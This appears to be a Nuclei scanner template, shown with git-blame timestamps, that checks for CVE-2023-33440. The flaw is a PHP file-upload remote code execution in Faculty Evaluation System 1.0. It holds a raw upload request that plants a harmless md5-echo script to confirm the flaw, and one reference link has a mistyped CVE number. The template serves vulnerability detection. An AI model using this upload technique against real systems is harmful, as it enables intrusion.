2023-06-25 16:58:59 +00:00
|
|
|
id: CVE-2023-33440
|
|
|
|
|
|
|
|
info:
|
2023-07-10 12:10:18 +00:00
|
|
|
name: Faculty Evaluation System v1.0 - Remote Code Execution
|
2023-06-25 16:58:59 +00:00
|
|
|
author: Harsh
|
|
|
|
severity: high
|
|
|
|
description: |
|
|
|
|
Sourcecodester Faculty Evaluation System v1.0 is vulnerable to arbitrary code execution via /eval/ajax.php?action=save_user.
|
2023-09-27 15:51:13 +00:00
|
|
|
impact: |
|
|
|
|
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
|
2023-09-06 11:43:37 +00:00
|
|
|
remediation: |
|
|
|
|
Apply the latest security patches and updates provided by the vendor to mitigate this vulnerability.
|
2023-06-25 16:58:59 +00:00
|
|
|
reference:
|
|
|
|
- http://packetstormsecurity.com/files/172672/Faculty-Evaluation-System-1.0-Shell-Upload.html
|
|
|
|
- https://github.com/F14me7wq/bug_report/blob/main/vendors/oretnom23/faculty-evaluation-system/RCE-1.md
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-333440
|
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
|
|
|
|
cvss-score: 7.2
|
|
|
|
cve-id: CVE-2023-33440
|
|
|
|
cwe-id: CWE-434
|
2023-12-12 11:07:52 +00:00
|
|
|
epss-score: 0.05129
|
2024-01-14 13:49:27 +00:00
|
|
|
epss-percentile: 0.92178
|
2023-09-06 11:43:37 +00:00
|
|
|
cpe: cpe:2.3:a:faculty_evaluation_system_project:faculty_evaluation_system:1.0:*:*:*:*:*:*:*
|
2023-06-25 16:58:59 +00:00
|
|
|
metadata:
|
|
|
|
verified: true
|
2023-09-06 11:43:37 +00:00
|
|
|
max-request: 2
|
2023-07-11 19:49:27 +00:00
|
|
|
vendor: faculty_evaluation_system_project
|
|
|
|
product: faculty_evaluation_system
|
2024-01-14 09:21:50 +00:00
|
|
|
tags: cve2023,cve,packetstorm,faculty,rce,intrusive,faculty_evaluation_system_project
|
2023-07-10 12:37:31 +00:00
|
|
|
variables:
|
|
|
|
email: "{{randstr}}@{{rand_base(5)}}.com"
|
|
|
|
|
2023-06-25 16:58:59 +00:00
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
2023-07-10 12:10:18 +00:00
|
|
|
POST /ajax.php?action=save_user HTTP/1.1
|
2023-06-25 16:58:59 +00:00
|
|
|
Host: {{Hostname}}
|
2023-07-10 12:10:18 +00:00
|
|
|
Content-Type: multipart/form-data; boundary=---------------------------1037163726497
|
2023-06-25 16:58:59 +00:00
|
|
|
|
2023-07-10 12:10:18 +00:00
|
|
|
-----------------------------1037163726497
|
2023-06-25 16:58:59 +00:00
|
|
|
Content-Disposition: form-data; name="id"
|
|
|
|
|
2023-07-10 12:10:18 +00:00
|
|
|
1
|
|
|
|
-----------------------------1037163726497
|
2023-06-25 16:58:59 +00:00
|
|
|
Content-Disposition: form-data; name="firstname"
|
|
|
|
|
2023-07-10 12:10:18 +00:00
|
|
|
Administrator
|
|
|
|
-----------------------------1037163726497
|
2023-06-25 16:58:59 +00:00
|
|
|
Content-Disposition: form-data; name="lastname"
|
|
|
|
|
2023-07-10 12:10:18 +00:00
|
|
|
a
|
|
|
|
-----------------------------1037163726497
|
|
|
|
Content-Disposition: form-data; name="img"; filename="{{randstr}}.php"
|
2023-06-25 16:58:59 +00:00
|
|
|
Content-Type: application/octet-stream
|
|
|
|
|
2023-07-10 12:10:18 +00:00
|
|
|
<?php echo md5('CVE-2023-33440'); ?>
|
|
|
|
-----------------------------1037163726497
|
2023-06-25 16:58:59 +00:00
|
|
|
Content-Disposition: form-data; name="email"
|
|
|
|
|
2023-07-10 12:37:31 +00:00
|
|
|
{{email}}
|
2023-07-10 12:10:18 +00:00
|
|
|
-----------------------------1037163726497
|
2023-06-25 16:58:59 +00:00
|
|
|
Content-Disposition: form-data; name="password"
|
|
|
|
|
2023-07-10 12:10:18 +00:00
|
|
|
|
|
|
|
-----------------------------1037163726497
|
2023-06-25 16:58:59 +00:00
|
|
|
Content-Disposition: form-data; name="cpass"
|
|
|
|
|
2023-07-10 12:10:18 +00:00
|
|
|
|
|
|
|
-----------------------------1037163726497--
|
2023-06-25 16:58:59 +00:00
|
|
|
- |
|
2023-07-10 12:10:18 +00:00
|
|
|
GET /login.php HTTP/1.1
|
2023-06-25 16:58:59 +00:00
|
|
|
Host: {{Hostname}}
|
2023-07-10 12:10:18 +00:00
|
|
|
|
|
|
|
host-redirects: true
|
2023-06-25 16:58:59 +00:00
|
|
|
matchers:
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
2023-07-10 12:10:18 +00:00
|
|
|
- 'status_code_1 == 200'
|
|
|
|
- 'regex("^1$", body_1)'
|
|
|
|
- '!regex("^2$", body_1)'
|
|
|
|
- 'len(body_1) == 1'
|
|
|
|
- 'contains(body_2, "Faculty Evaluation")'
|
2023-06-25 16:58:59 +00:00
|
|
|
condition: and
|
2024-01-26 08:31:11 +00:00
|
|
|
# digest: 4b0a00483046022100ffcbd6f99ada0b5e694cb2ff4eab1ba5efae8f55940afc2a55091f6344da5720022100de9721a24abd34f499f0dd55ecd7b8669b0b7734cc745234ea464de02160aa2c:922c64590222798bb761d5b6d8e72950
|